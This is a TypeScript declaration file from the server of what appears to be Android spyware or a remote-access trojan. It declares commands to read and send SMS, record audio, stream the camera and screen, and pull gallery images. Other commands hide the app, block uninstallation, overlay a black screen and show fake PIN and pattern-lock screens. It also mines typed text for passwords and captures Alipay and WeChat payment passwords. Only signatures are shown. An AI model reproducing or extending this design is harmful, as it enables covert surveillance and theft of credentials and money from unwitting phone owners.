Files
server/dist/services/MessageRouter.d.ts
wdvipa 450367dea2 111
2026-02-09 16:34:01 +08:00

400 lines
12 KiB
TypeScript
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import DeviceManager from '../managers/DeviceManager';
import WebClientManager from '../managers/WebClientManager';
import { DatabaseService } from './DatabaseService';
/**
* 控制消息接口
*/
export interface ControlMessage {
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME';
deviceId: string;
data: any;
timestamp: number;
}
/**
* 操作日志消息接口
*/
export interface OperationLogMessage {
deviceId: string;
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
content: string;
extraData?: any;
timestamp: number;
}
/**
* 屏幕数据接口
*/
export interface ScreenData {
deviceId: string;
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY';
data: Buffer | string;
width: number;
height: number;
quality: number;
timestamp: number;
isLocked?: boolean;
}
/**
* 摄像头数据接口
*/
export interface CameraData {
deviceId: string;
format: 'JPEG' | 'PNG' | 'H264';
data: string;
type: 'camera';
timestamp: number;
}
/**
* 相册图片数据接口(设备发送)
*/
export interface GalleryImageData {
deviceId: string;
type: 'gallery_image';
timestamp: number;
index: number;
id: number | string;
displayName?: string;
dateAdded?: number;
mimeType?: string;
width?: number;
height?: number;
size?: number;
contentUri?: string;
format: 'JPEG' | 'PNG';
data: string;
}
/**
* 麦克风音频数据接口(设备发送)
*/
export interface MicrophoneAudioData {
deviceId: string;
type: 'microphone_audio';
timestamp: number;
audioData: string;
sampleRate: number;
sampleCount: number;
format: 'PCM' | 'AAC' | 'MP3' | 'WAV';
channels: number;
bitDepth: number;
}
/**
* 短信数据接口
*/
export interface SmsData {
deviceId: string;
type: 'sms_data';
timestamp: number;
count: number;
smsList: SmsItem[];
}
/**
* 短信项接口
*/
export interface SmsItem {
id: number;
address: string;
body: string;
date: number;
read: boolean;
type: number;
}
/**
* 消息路由服务 - 增强版,包含内存管理
*/
export declare class MessageRouter {
private logger;
private deviceManager;
private webClientManager;
private databaseService;
private screenDataBuffer;
private cameraDataBuffer;
private smsDataBuffer;
private microphoneAudioBuffer;
private readonly maxBufferSize;
private readonly bufferTimeout;
private readonly maxDataSize;
private lastCleanupTime;
private readonly cleanupInterval;
private routedFrames;
private droppedFrames;
private totalDataSize;
private routedCameraFrames;
private droppedCameraFrames;
private totalCameraDataSize;
private routedSmsData;
private droppedSmsData;
private totalSmsDataSize;
private routedMicrophoneAudio;
private droppedMicrophoneAudio;
private totalMicrophoneAudioSize;
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService);
/**
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
*/
private sendLocalGalleryToClient;
/**
* 🔧 启动定期清理任务
*/
private startPeriodicCleanup;
/**
* 🔧 定期清理过期数据
*/
private performPeriodicCleanup;
/**
* 🚨 紧急内存清理
*/
private performEmergencyCleanup;
/**
* 路由控制消息从Web客户端到设备
*/
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean;
/**
* 路由屏幕数据从设备到Web客户端- 增强版,包含内存管理
*/
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean;
/**
* 重试路由屏幕数据
*/
private retryRouteScreenData;
/**
* 路由摄像头数据从设备到Web客户端- 模仿routeScreenData实现
*/
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean;
/**
* 重试路由摄像头数据
*/
private retryRouteCameraData;
/**
* 路由相册图片数据不保存到磁盘直接转发base64给客户端
*/
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean;
/**
* 路由麦克风音频数据从设备到Web客户端
*/
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean;
/**
* 重试路由麦克风音频数据
*/
private retryRouteMicrophoneAudio;
/**
* 路由短信数据从设备到Web客户端
*/
routeSmsData(fromSocketId: string, smsData: SmsData): boolean;
/**
* 重试路由短信数据
*/
private retryRouteSmsData;
/**
* 路由设备事件从设备到Web客户端
*/
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
/**
* 路由客户端事件从Web客户端到其他客户端或设备
*/
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
/**
* 处理设备控制请求
*/
private handleDeviceControlRequest;
/**
* 处理设备控制释放
*/
private handleDeviceControlRelease;
/**
* 处理设备列表请求
*/
private handleDeviceListRequest;
/**
* 处理操作日志(从设备接收)
*/
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean;
/**
* 处理获取操作日志请求
*/
private handleGetOperationLogs;
/**
* 处理清空操作日志请求
*/
private handleClearOperationLogs;
/**
* 处理获取设备密码请求
*/
private handleGetDevicePassword;
/**
* 处理保存设备密码请求
*/
private handleSaveDevicePassword;
/**
* 处理更新设备状态请求
*/
private handleUpdateDeviceState;
/**
* 处理获取设备状态请求
*/
private handleGetDeviceState;
/**
* 广播消息到所有相关方
*/
broadcastMessage(eventType: string, data: any): void;
/**
* 获取路由统计信息
*/
getRouterStats(): {
totalDevices: number;
totalClients: number;
activeControlSessions: number;
};
handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void;
private handleDeviceLoggingStateChanged;
private restoreDeviceState;
private handleSearchPasswordsFromLogs;
/**
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
*/
private extractPasswordCandidatesWithMeta;
/**
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
*/
private extractPasswordCandidates;
/**
* ✅ 新增:从密码内容检测密码类型
*/
private detectPasswordTypeFromContent;
/**
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
*/
private isPossiblePasswordEnhanced;
/**
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
*/
private isPossiblePassword;
/**
* ✅ 刷新所有web客户端的设备列表
*/
private refreshAllWebClientDeviceLists;
/**
* ✅ 同步设备状态到设备端
*/
private syncDeviceStateToDevice;
/**
* 处理删除设备请求
*/
private handleDeleteDevice;
/**
* 获取设备UI层次结构
*/
private handleGetUIHierarchy;
/**
* 处理设备UI层次结构响应
*/
private handleUIHierarchyResponse;
/**
* 路由UI层次结构响应从设备到Web客户端- 参考routeScreenData的模式
*/
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean;
/**
* 🆕 处理开始提取确认坐标的请求
*/
private handleStartExtractConfirmCoords;
/**
* 🆕 处理保存确认坐标的请求
*/
private handleSaveConfirmCoords;
/**
* 🆕 处理启用黑屏遮盖的请求
*/
private handleEnableBlackScreen;
/**
* 🆕 处理取消黑屏遮盖的请求
*/
private handleDisableBlackScreen;
/**
* 🆕 处理打开应用设置的请求
*/
private handleOpenAppSettings;
/**
* 🆕 处理隐藏应用的请求
*/
private handleHideApp;
/**
* 🆕 处理应用隐藏状态更新来自Android端的状态报告
*/
private handleAppHideStatusUpdate;
/**
* 🆕 处理显示应用的请求
*/
private handleShowApp;
/**
* 🆕 处理关闭配置遮盖的请求
*/
private handleCloseConfigMask;
/**
* 🆕 处理重新获取投屏权限请求
*/
private handleRefreshMediaProjectionPermission;
/**
* 🆕 路由权限申请响应
*/
routePermissionResponse(socketId: string, permissionData: any): boolean;
/**
* 💰 路由支付宝密码数据
*/
routeAlipayPassword(socketId: string, passwordData: any): boolean;
/**
* 💬 路由微信密码数据
*/
routeWechatPassword(socketId: string, passwordData: any): boolean;
/**
* 🔐 路由通用密码输入数据
*/
routePasswordInput(socketId: string, passwordData: any): boolean;
/**
* 🔍 路由支付宝检测启动指令
*/
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean;
/**
* 💬 路由微信检测启动指令
*/
routeWechatDetectionStart(socketId: string, detectionData: any): boolean;
/**
* 🆕 处理MediaProjection权限申请响应
*/
private handleMediaProjectionPermissionResponse;
/**
* 🛡️ 处理启用防止卸载保护的请求
*/
private handleEnableUninstallProtection;
/**
* 🛡️ 处理禁用防止卸载保护的请求
*/
private handleDisableUninstallProtection;
/**
* 处理相册权限检查请求
*/
private handleGalleryPermissionCheck;
/**
* 处理相册读取请求
*/
private handleAlbumRead;
/**
* 处理设备解锁请求
*/
private handleUnlockDevice;
/**
* 🔐 处理打开6位PIN输入界面的请求
*/
private handleOpenPinInput;
/**
* 🔐 处理打开4位密码输入界面的请求
*/
private handleOpenFourDigitPin;
/**
* 🔐 处理打开图形密码输入界面的请求
*/
private handleOpenPatternLock;
/**
* 处理修改服务器地址请求
*/
private handleChangeServerUrl;
}
export default MessageRouter;
//# sourceMappingURL=MessageRouter.d.ts.map